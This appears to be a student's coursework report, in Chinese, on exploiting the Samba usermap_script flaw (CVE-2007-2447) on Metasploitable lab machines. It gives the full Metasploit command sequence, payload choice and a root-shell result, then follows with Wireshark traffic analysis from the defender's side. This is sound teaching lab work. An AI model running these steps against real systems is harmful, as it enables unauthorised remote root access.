20253907 2025-2026-2《网络攻防实践》第7周作业
20253907 2025-2026-2《网络攻防实践》第7周作业
1. 实践内容
本次实验主要学习使用Metasploit渗透测试框架对Linux靶机进行远程渗透攻击,并配合防守方进行网络流量分析。实验分为两个部分:
(1)Metasploit Linux远程渗透攻击
使用Metasploit框架攻击Linux靶机上的Samba服务usermap_script安全漏洞(CVE-2007-2447),获取目标Linux靶机的主机访问权限。Samba是Linux/Unix系统中实现SMB协议的软件套件,用于在局域网内实现文件和打印机的共享服务。usermap_script漏洞存在于Samba 3.0.20至3.0.25rc3版本中,当配置了非默认的"username map script"选项时,攻击者可以在用户名中嵌入shell元字符,从而实现远程命令执行。该漏洞的最大特点是无需认证即可利用,因为username map功能在认证前就会被触发。
(2)攻防对抗实践
攻击方使用Metasploit对Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权;防守方使用Wireshark监听网络数据包,分析攻击过程,获取攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用的Shellcode以及成功之后在命令行输入的信息。
2. 实验过程
2.1 实验环境
| 虚拟机 | 角色 | IP地址 |
|---|---|---|
| Kali Linux | 攻击机 | 192.168.200.6 |
| Metasploitable 2 | 靶机 | 192.168.200.130 |
2.2 信息收集
首先使用nmap对靶机进行扫描,确认Samba服务是否开放:
nmap -sV -p 139,445 192.168.200.130
扫描结果应显示:
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
确认该版本存在usermap_script漏洞。

2.3 启动Metasploit
sudo msfconsole

2.4 搜索并加载漏洞模块
msf6 > search usermap_script
搜索结果:
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution

加载模块:
msf6 > use exploit/multi/samba/usermap_script

2.5 查看并设置Payload
查看可用payload:
msf6 exploit(multi/samba/usermap_script) > show payloads


选择正向shell payload(我这使用反向失败了,所以采取正向连接):
msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/bind_netcat

2.6 设置攻击参数
msf6 exploit(multi/samba/usermap_script) > set RHOST 192.168.200.130
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.200.6
msf6 exploit(multi/samba/usermap_script) > set RPORT 139

参数说明:
RHOST:目标靶机IP地址LHOST:攻击机IP地址(用于反向连接)RPORT:SMB服务端口,通常为139或445
验证配置:
msf6 exploit(multi/samba/usermap_script) > show options

2.7 执行渗透攻击
msf6 exploit(multi/samba/usermap_script) > exploit
成功攻击后的输出示例:

2.8 验证远程Shell权限
在获得的shell中执行命令:
whoami
root
id
uid=0(root) gid=0(root)
可见获得的是root权限,这是因为usermap_script漏洞以root身份执行命令。

2.9 实践作业:攻防对抗实践
攻击操作:自己做为攻击方,使用 Metasploit ,选择王昺喆同学的Metasploitable靶机的ip地址192.168.3.86中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
攻击信息:
- 攻击者IP:192.168.200.6
- 目标IP和端口:192.168.3.86
- 攻击利用漏洞:CVE-2007-2447 (Samba usermap_script)
- 使用Shellcode:cmd/unix/reverse(编码后的命令)
- 攻击后执行的命令:通过追踪TCP流获取,如whoami、id等
攻击第一步:需要把Rhost地址改为set RHOST 192.168.3.86

攻击第二步:检查参数设置,没问题后输入exploit

防守操作:自己做为攻击方攻击自己的靶机,自己做为防守方监听
攻击信息:
- 攻击者IP:192.168.200.6
- 目标IP和端口:192.168.200.130
- 攻击利用漏洞:CVE-2007-2447 (Samba usermap_script)
- 使用Shellcode:cmd/unix/reverse(编码后的命令)
- 攻击后执行的命令:通过追踪TCP流获取,如whoami、id等
- 在靶机网络接口上启动Wireshark抓包:
sudo wireshark - 选择监听网卡(与靶机通信的网卡)
- 开始抓包后,等待攻击方发起攻击
- 攻击完成后停止抓包,保存pcap文件
分析关键数据包:
(1)过滤攻击者IP:
ip.addr == 192.168.200.6

(2)查看SMB会话建立过程:SMB协议通过139或445端口进行通信,攻击首先建立SMB会话。
(3)查看反向连接:漏洞利用成功后会建立反向连接,过滤条件:
tcp.port == 4444

3. 学习中遇到的问题及解决
- 问题:采用反向连接出现问题,因为仅主机模式的原因导致无法反向连接
解决方案:采取正向连接,使用命令set payload cmd/unix/bind_netcat。


4. 学习感悟与思考
这次实验主要是把实验六的windows系统下的攻击改成了linux系统下的攻击,主要收获有两点:
第一,Samba的这个usermap_script漏洞真的很古老了(2007年),但在Metasploitable上依然能用,一步就能拿到root权限,说明漏洞不修后果有多严重。它的利用方式也很特殊——不需要任何认证,直接在用户名里塞命令就能执行,这让我对"输入过滤"的重要性有了直观感受。
第二,攻防对抗的视角很有意思。攻击方用Metasploit几秒钟就能getshell,防守方却要在Wireshark里一行一行地看数据包才能还原攻击过程。这次我特地注意了SMB协议包里的细节,发现攻击payload就藏在用户名那个字段里面,格式是"/=nohup [命令]",跟源码里写的一模一样。通过Follow TCP Stream,整个攻击会话都能串起来,感觉防守方也不完全是被动的。
最后就是环境搭建的老问题,每次实验都要调一番网络,蜜网网关、IP配置、防火墙,少一个都不行。不过经历过前几次作业,这次已经熟练多了。

浙公网安备 33010602011771号